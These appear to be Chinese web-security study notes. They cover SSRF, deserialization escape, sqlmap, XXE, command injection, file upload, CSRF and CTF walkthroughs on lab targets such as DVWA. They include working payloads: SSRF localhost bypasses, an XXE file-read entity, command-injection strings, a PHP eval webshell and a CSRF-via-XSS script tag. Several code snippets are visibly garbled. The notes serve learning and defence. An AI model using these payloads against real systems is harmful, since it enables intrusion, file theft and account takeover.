SSRF

@TOC

漏洞原理

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。

漏洞成因

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器

攻击方式

攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

在这里插入图片描述

危害:

1、对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。

2、攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。

3、对内网Web应用进行指纹识别,识别企业内部的资产信息。

4、击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,(比如Struts2漏洞利用,SQL注入等)
5、利用file协议读取服务器本地文件等。

SSRF的限制:

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。

限制域名只能为http://www.xxx.com

限制不能访问内网的IP,以防止对内网进行攻击。

屏蔽返回的详细信息。

禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

SSRF漏洞绕过方法:

1.@          http://abc.com@127.0.0.1

2.添加端口号      http://127.0.0.1:8080

3.短地址        https://0x9.me/cuGfD

4.可以指向任意ip的域名  xip.io

5.ip地址转换成进制来访问 192.168.0.1=32322

扩展起来 讲一下

利用HTTP基本身份认证的方式绕过

如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即

1
@:[http://www.xxx.com@www.evil.com](http://www.evil.com/)

利用302跳转绕过内网IP

绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。

(1)网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名

举个例子:

当我们访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。

像这种网址还有http://nip.io,http://sslip.io

(2)短地址跳转绕过,

进制的转换绕过内网IP

可以使用一些不同的进制替代ip地址,从而绕过WAF

这里贴一个php脚本可以一键转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

其他各种指向127.0.0.1的地址

1
2
3
4
5
6
7
8
http://localhost/       # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

漏洞危害

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

反序列化字符逃逸

@TOC

反序列化特点

1、php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化规则才能成功。例如:

1
2
3
4
5
6
7
8
9
10
class A{
public $name='shy';
public $pass='123456';
}

$lemon = new A();
echo serialize($lemon);
#反序列化后的结果为:
O:1:"A":2:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";}

2、在反序列化过程中长度不对应会报错
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败。

1
2
3
<?php
$str='O:1:"A":2:{s:4:"name";s:3:"shy";s:4:"passs";s:6:"123456";}';
var_dump(unserialize($str));

结果是bool(false)报错
3、可以反序列化类中不存在的元素

1
2
3
4
5
6
7
8
9
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";
s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>

最后结果会出现gender,值为boy。

反序列化字符逃逸

一、本质:闭合
二、分为两种情况:1、字符变多;2、字符变少。
三、字符变多举例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function filter ($string) {
$filter =.'/p/i ' ;
return preg replace ($filter, 'WW',$str)
}
$username · =. 'purplet'; #pppppppppppppppp";
$age· =. "10";
$user· =·array ($username,$age) ;
var dump (serialize ($user));
echo "<pre>";
$r = filter (serialize($user));var_dump ($r);
Lvar dump(unserialize ($r));

这里是一个p换成两个w,结果会报错
在这里插入图片描述
这时候我要改变age的值,就需要利用反序列化字符逃逸,用16个p填充user,然后在后面加上”;i:1;s:2:”20”;}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//过滤函数
function filter($string)
{
$filter = '/p/i';
//正则匹配,表示变量string中的p(由filter决定)会被替换成WW
return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "20";
$user = array($username,$age);//数组
//序列化后的数值输出
var_dump(serialize($user));
echo "<pre>";//分隔符
//序列化过滤后的数值赋值给r并输出
$r = filter(serialize($user));
var_dump($r);
//对 序列化过滤后的数值 反序列化
var_dump(unserialize($r));
?>

2、字符减少
与增多不同的是,不仅要构造username,还要构造age。
第一步:改变age的值,序列化后为;i:1;s:2:"20"},符,而此时uesrname的值无法确定,可随意构造
第二步:age处传递一个任意数值和双引号进行闭合,即再次传入age = A”;i:1;s:2:”20”;},查看结果
第三步:计算选中部分(长度为13)根据过滤后字符缩减情况构造,Demo中每两个p变为1个W,相当于逃逸1位(选中部分即为逃逸字符)所以输入13*2=26个p进行逃逸,即最终传递usernmae=pppppppppppppppppppppppppp,age=A”;i:1;s:2:”20”;}

例题

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error reporting(O);class a
{
public $uname = '123";
public $password = 'yu22x';
function filter($string){
return str replace('Firebasky','Firebaskyed'}
}
$a = new a();
var dump(serialize($a));
echo "<pre>";
$r = filter(serialize($a));vardump($r);
var dump(unserialize($r));
?>

此题要求以get的方式上传password为yussy,但是password无法修改

在这里插入图片描述

在这里插入图片描述

sqlmap

@TOC

概念

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:

1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap的安装

sqlmap的安装需要python2x的环境,python下载的官网是https://www.python.org/downloads/
在这里插入图片描述
可在cmd中查看:
在这里插入图片描述

,之后下载sqlmap的压缩包,然后解压到python的目录下 即可。sqlmap下载地址:http://sqlmap.org/
在这里插入图片描述

sqlmap使用

一、
1、打开cmd
2、在这里插入图片描述

进入D盘
3、在这里插入图片描述

进入Python27文件
4、在这里插入图片描述
二、sqlmap直接连接数据库
对于服务型数据库(前提是需要知道数据库的用户名和密码)
例如:python sqlmap.py-d”mysql://admin:admin@192.168.21.17:3306/testdb”-f –banner –db –users
(bannner信息:欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。)
sqlmap建议在kali上使用

浅谈XXE

什么是XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

什么是XML,DTD

一、XML概念:
XML
可扩展标记语言。
通常所说的XML,就是指XML数据解析,是将数据文档解析成不同的格式。因为不同平台(软件)在做数据传递或数据文档共享的时候,同一数据文档可能在不同平台的 显示格式要求不同,这就出现了相对中立的语言(XML),来表示数据,给二者做转化。
XML类似于HTML,不同的是HTML不可自定义标签,XML可以。
二、1、DTD概念:文档类型定义。DTD文件一般和XML文件配合使用,主要是为了约束XML文件。 ()DTD就是上文中提到的实体
2、DTD基本语法:
<!ELEMENT NAME CONTENT>
其中

  • ELEMENT是关键字,不可修改
  • NAME表示元素名称
  • CONTENT是元素类型,必须大写
    (1)EMPTY————表示该元素不能包含子元素和文本,但可以有属性。
    (2)ANY———表示该元素可以包含任何在该DTD中定义的元素内容
    (3 )#PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素
    3、外部实体:
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM <"note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body></note>

    如何判断XXE漏洞的存在

    在这里插入图片描述
    对其进行抓包
    在这里插入图片描述
    修改xml,添加任意标签观察是否存在回显
    在这里插入图片描述

    构造payload

    一、实体打印
    1
    2
    3
    4
    5
    <?xml version = "1.0"?>
    <!DOCTYPE note [
    <!ENTITY hacker "test">
    ]>
    <name>&hacker;</name>
    二、文件读取
    1
    2
    3
    <?xml version = "1.0"?><!DOCTYPE ANY[
    <!ENTITY f sYSTEM"file:///C://Windows//win.ini" >//前提是电脑中得有//
    ]><x>&f;</x>

    XXE漏洞利用

    任意文件读取
    探测内网地址
    通过DTD窃取文件
    远程代码执行

命令注入

@TOC

概念

当应用需要调用一些外部程序时会用到一些系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入情况下,会造成命令执行漏洞。

DVWA

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

没有任何防御,直接127.0.0.1&&net user
在这里插入图片描述medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

对&&和;进行了过滤,可以使用&
这里要注意&&与&的区别:
Command 1&&Command 2,先执行Command 1,执行成功后执行Command 2,否则不执行Command 2而Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

high过滤比较全面,可以使用|,“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果
127.0.0.1|net user

相关函数

1、system():能够将字符串作为OS命令执行,自带输出功能。(这是解释下OS:os是operating system的缩写,表示操作系统,它是管理计算机硬件与软件资源的计算机程序。操作系统需要处理如管理与配置内存、决定系统资源工序的优先次序、控制输入设备与输出设备、操作网络与管理文件系统等基本事务。)
2、exec():能够将字符串作为OS命令执行,需要输出执行结果。返回结果是有限的,shell_exec()比较常用。
3、stristr(string,search,before_search)
)stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。

防御方法

1、尽量减少命令执行函数的使用,并在disable_functions 中禁用
2、在进入命令执行的函数或方法之前,对参数进行过滤
3、值尽量使用引号包裹,并在拼接之前调用add slashes 进行转义

文件上传漏洞

@TOC

漏洞概述

文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。很多Web站点都有文件上传的接口(比如注册时上传头像等),由于没有对上传的文件夹类型进行严格的限制,导致攻击者可以上传一些恶意文件(比如Webshell)。

DVWA靶场

一、LOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //上传文件的路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //文件路径=上文文件的路径+文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

low级别没有任何防护,可直接上传Webshell
二、medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

利用burpsuite抓包
在这里插入图片描述
修改Content-Type为jepg.jpg,然后利用蚁剑链接url上传webshell
编写一句话木马

1
<?php   @eval($_POST['xie']);  ?>

在这里插入图片描述
在这里插入图片描述

如何防御

1、文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

相关函数

$_FILES变量专门用于获取上传文件的各种信息。
$_FILES[‘uploaded’][‘namek’],获取客户端文件的原名称;
$_FILES[‘uploaded’][‘tmp_name’]”,获取文件被上传后在服务端存储的临时文件名。
$target_path = DVWA_WEB_PAGE_TO_ROOT.”hackable/uploads/‘’;
指定文件上传路径为“网站根目录/hackable/uploads”
$target_path = $target_path.basename( $_FILES[‘uploaded’][‘name’]);指定上传之后的文件名及保存路径

绕过黑名单

文件上传如何绕过黑名单:使用不常见的文件后缀名,如php3,php4,phtml,asa等

CSRF

CSRF

一、定义:CSRF(cross-site request forgery):跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
二、攻击特点:攻击者盗用用户的身份,以用户的名义进行某些非法操作

DVWA

一、low:在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

首先按照流程修改密码,发现url改变http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
查看源码,没有任何防护,可直接通过修改URL修改密码
二、medium(需要使用到hackbar)
查看源码,可知先检测refer是否包含主机名称,再进行更改密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在这里插入图片描述
在这里插入图片描述

漏洞利用

一、构造链接:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
二、利用短链接来隐藏URL(点击短链接,会自动跳转到真实网站)
因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
三、构造攻击页面
四、CSRF与XSS结合
将CSRF代码写入XSS注入点(最好是存储型)
< script
src= “http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#"></ script>
用户触发XSS,优点是更加具有隐蔽性,不会出现密码修改界面

函数

$_SERVER[ ‘HTTP_REFERER’ ]此函数用来判断用户提供的信息是否与127.0.0.1一致

网络安全常见名词

黑客攻防命令版

一、肉鸡:
肉鸡比喻那些可以随意被黑客控制的计算机,黑客可以像操作自己的计算机那样来操作它们,而不被对方所发觉。
二、木马:
本马指表面上伪装成正常的程序,但是当这些程序运行时,入侵者就会获取系统的整个控制权限。有很多黑客热衷于使用木马程序来控制别人的计算机,比如灰鸽子、黑洞、PcShare等。
三、网页木马:
网页本马指表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好木马的服务端下载到访问者的计算机上来自动执行。
四、后门:
后门是一种形象的比喻,黑客在利用某些方法成功地控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置。这些改动从表面上很难被察觉,但是黑客却可以使用相应的程序或者方法轻易地与这台计算机建立连接,重新控制这台计算机,这就好像黑客偷偷地配了一把主人房间的钥匙,可以随时进出房间而不被主人发现一样。
**五、IPC$ ∗ ∗ : I P C **: IPC∗∗:IPC是共享“命名管道”的资源,它是为了让进程之间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用
六、弱口令(weak auth):
弱口令指那些强度不够,容易被猜解的口令,类似123、abc这样的口令(密码)。
七、shell:
Shell指的是一种命令执行环境,比如,我们按下键盘上的“开始键+R”组合键时会出现“运行”对话框,在里面输入“cmd”会出现一个用于执行命令的黑窗口,这个就是Windows的Shell执行环境。
八、WebShell
WebShell就是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境,也可以将其称为一种网页后门。
九、溢出
确切地讲,应该是“缓冲区溢出”。简单地解释就是程序对接收的输入数据没有执行有效的检测而导致错误,后果可能是程序崩溃或者是执行攻击者的命令。其大致可以分为两类:①堆溢出;②栈溢出。
十、内网
内网通俗地讲就是局域网,比如网吧、校园网、公司内部网等。IP地址如果是在以下三个范围之内,就说明我们是处于内网之中的:10.0.0.0~10.255.255.255、172.16.0.0~172.31.255.255、192.168.0.0~192.168.255.255
十一、加壳
利用特殊的算法,改变EXE可执行程序或者DLL动态链接库文件的编码(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX、ASPack、PePack、PECompact、UPack等。
十二、花指令
花指令是几句汇编指令,可让汇编语句进行一些跳转,使得杀毒软件不能正常地判断病毒文件的构造。通俗地讲,就是杀毒软件是从头到脚按顺序来查找病毒的,如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了。
未完待续…

攻防世界web新书题解析

攻防世界web新手题解析

题目解析

一、view _source
在这里插入图片描述
查看源代码有三种方法:
1、任意打开一个网页,鼠标右击会看到”查看源代码“,这个网页的源代码就出现在你眼前了;
2、为了方便快捷,小伙伴们可以使用快捷Ctrl+U来查看源码,同样可以实现;
3、也可以在你想要查看的网页地址栏前面加上入view-source:
比如:view-source:https://www.baidu.com/ 就可以查看百度的源代码。
二、robots

在这里插入图片描述
建立题目场景后可以在url后加robots.txt,然后再访问f1ag_1s_h3re.php,即可得到flag,本题得解。
三、backup
在这里插入图片描述
index.php文件的备份文件,在后面加上”.bak”,即index.php.bak。本题在url后加上bak即可。
四、cookie
在这里插入图片描述
1、浏览器按下F12键打开开发者工具,刷新后,在存储一栏,可看到名为look-here的cookie的值为cookie.php
2、访问http://111.198.29.45:47911/cookie.php,提示查看http响应包,在网络一栏,可看到访问cookie.php的数据包
3、点击查看数据包,在消息头内可发现flag
五、disabled_button
在这里插入图片描述
1、打开开发者工具;
2、删除” disable=”” ,然后点击即可获得flag。
六、weak_auth
在这里插入图片描述
首先我们可以猜测一下账号和密码,账号是admin,密码是123456。
解决这道题要使用burpsuite,根据字节长度可以知道密码
在这里插入图片描述
七、simple_php
在这里插入图片描述
1、打开后
在这里插入图片描述
2、本题要求a必须等于0且a为真且b大于1234,所以在url写http://111.198.29.45:44957/?a=00a&&b=12345s,即可得到flag。
八、get post
在这里插入图片描述
本题需要用到hackbar,这里需要在火狐安装hackbar v2。
1、打开题目,在url?a=1”.例:119.198.29.45:48280?a=1
2、打开开发者工具,使用hackbar中的post传参,b=2,即可获得flag。
九、xff_referer
在这里插入图片描述本题使用hackbar
1、点击题目,打开开发者工具,伪造xff,构造ip地址构造X-Forwarded-For=123.123.123.123
2、构造referer:https://www.google.com,即可得到flag。
十、webshell
在这里插入图片描述
可以使用hackbar,使用post方式传递shell=system(‘cat flag.txt’); 获得flag
十一、command_execution(命令执行)
在这里插入图片描述
1、打开浏览器,在文本框内输入127.0.0.1 | find / -name “flag.txt” (将 | 替换成 & 或 && 都可以)
2、在文本框内输入 127.0.0.1 | cat /home/flag.txt 可得到flag。
十二、simple_js
在这里插入图片描述
1.打开页面,查看源代码,可以发现js代码。
2.进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode 。
3.先将字符串用python处理一下,得到数组[55,56,54,79,115,69,114,116,107,49,50]。
4.将得到的数字分别进行ascii处理,可得到字符串786OsErtk12。

相关知识

一、查看源代码的三种方法:1、任意打开一个网页,鼠标右击会看到”查看源代码“,这个网页的源代码就出现在你眼前了;
2、为了方便快捷,小伙伴们可以使用快捷Ctrl+U来查看源码,同样可以实现;
3、也可以在你想要查看的网页地址栏前面加上入view-source:
比如:view-source:https://www.baidu.com/ 就可以查看百度的源代码
二、robots协议
1、robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
2、网络蜘蛛(网络爬虫):根据一定的规则从万维网上截取信息的程序或脚本。
三、backup
backup文件夹实际上是备份文件夹,常见的备份后缀名有.git .svn .swp .svn .~ .bak .bash_history。
四、cookie
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。即cookie是网站保存的密码串,用来验证用户身份。
五、disabled_button
考察对源码的修改
六、weak_auth
weak_auth是弱口令身份验证
弱口令(weak password): 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。所以不建议使用弱口令
七、simple_php
考察对php语言的学习,详细可见php相关知识
八、get post
http的两种请求方式:GET方法与POST方法
<1>GET方法
1、GET交互方式是从服务器上获取数据,而并非修改数据,所以GET交互方式是安全的。就像数据库查询一样,从数据库查询数据,并不会影响数据库的数据信息,对数据库来说,也就是安全的。
2、GET交互方式是幂等的,幂等是一个数学概念,幂等函数就是可以使用相同参数重复执行,并且能获得相同结果的函数。在GET交互这里就是,对同一个URL的多个请求,得到的结果是相同的。就像数据库查询,不同的数据库连接对同一个数据库表用相同条件查询时,得到的结果也是一样的
<2>POST方法
1、POST交互是可以修改服务器数据的一种方式,涉及到信息的修改,就会有安全问题。就像数据库的更新,Update一个数据库表时,如果条件没有写对,就可能把不需要修改的数据给修改了,得到的数据就是错误的了。
2、一般的POST交互是必须要用到表单的,但是表单提交的默认方法是GET,如果改为POST方式,就需要修改表单提交时的Method
九、xff_referer
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。
十、webshell
webshell是一句话木马,详细可见sqli-labs-master基础知识
十一、command_execution(命令执行
当应用需要调用一些外部程序去处理内容情况下,就会用到一些执行系统命令的函数,比如php中的system、exec、shell_exec、passthru、popen、popc_popen等,当用户调用这些函数时,将恶意系统命令注入到正常命令中,造成命令执行漏洞。
本题主要考察命令拼接的方法,其原理为:
| 的作用为将前一个命令的结果传递给后一个命令作为输入
&&的作用是前一条命令执行成功时,才执行后一条命令

同源策略相关知识

学习目标:同源策略相关知识

学习内容:

一、源
1、定义:就是协议、域名和端口号。
以上url中的源就是:http://www.company.com:80
